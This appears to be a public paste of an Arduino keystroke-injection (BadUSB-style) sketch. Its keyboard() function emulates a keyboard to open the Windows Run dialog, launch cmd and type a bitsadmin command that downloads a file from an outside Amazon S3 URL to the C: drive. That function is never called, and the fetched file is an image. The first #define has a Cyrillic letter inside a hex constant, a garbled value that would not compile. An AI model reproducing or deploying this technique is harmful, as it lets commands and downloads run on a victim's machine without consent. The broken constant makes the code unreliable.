Facebook
From Sole Macaque, 6 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 295
  1. #define KEY_BACKSLASH   0xЕ2
  2.          int RXLED = 17;  // The RX LED has a defined Arduino pin
  3.         const int buttonPin = 2;     // the number of the pushbutton pin
  4.         int buttonState = 0;         // variable for reading the pushbutton status
  5.  
  6.         #include "Keyboard.h"
  7.          
  8.         void typeKey(uint8_t key)
  9.         {
  10.           Keyboard.press(key);
  11.           delay(50);
  12.           Keyboard.release(key);
  13.         }
  14.                  
  15.  
  16. void loop() {
  17.         buttonState = digitalRead(buttonPin);
  18.         if (buttonState == HIGH)
  19.                 {
  20.                         digitalWrite(RXLED, HIGH);
  21.                 }
  22.         else
  23.                 {
  24.  
  25.                         digitalWrite(RXLED, LOW);
  26.                 }
  27. }
  28.  
  29.  
  30. void setup()
  31.                 {    
  32.                         pinMode(RXLED, OUTPUT);  // Set RX LED as an output
  33.                         pinMode(buttonPin, INPUT);
  34.                 }
  35.  
  36.  
  37. void keyboard()
  38. {
  39.    Keyboard.begin();      
  40.           delay(500);        
  41.           Keyboard.press(KEY_LEFT_GUI);
  42.           Keyboard.press('r');
  43.           Keyboard.releaseAll();
  44.           delay(100);
  45.           Keyboard.print("cmd");        
  46.           Keyboard.press(KEY_RETURN); //enterrcmd
  47.           Keyboard.releaseAll();
  48.           delay(100);
  49.           Keyboard.print("bitsadmin /transfer wcb /priority high http://s3.amazonaws.com/rapgenius/hotdog.jpg C:\\x.jpg");
  50.           Keyboard.releaseAll();
  51.           Keyboard.press(KEY_RETURN); //enter
  52.           Keyboard.releaseAll();
  53. }
  54.  
  55.  
  56.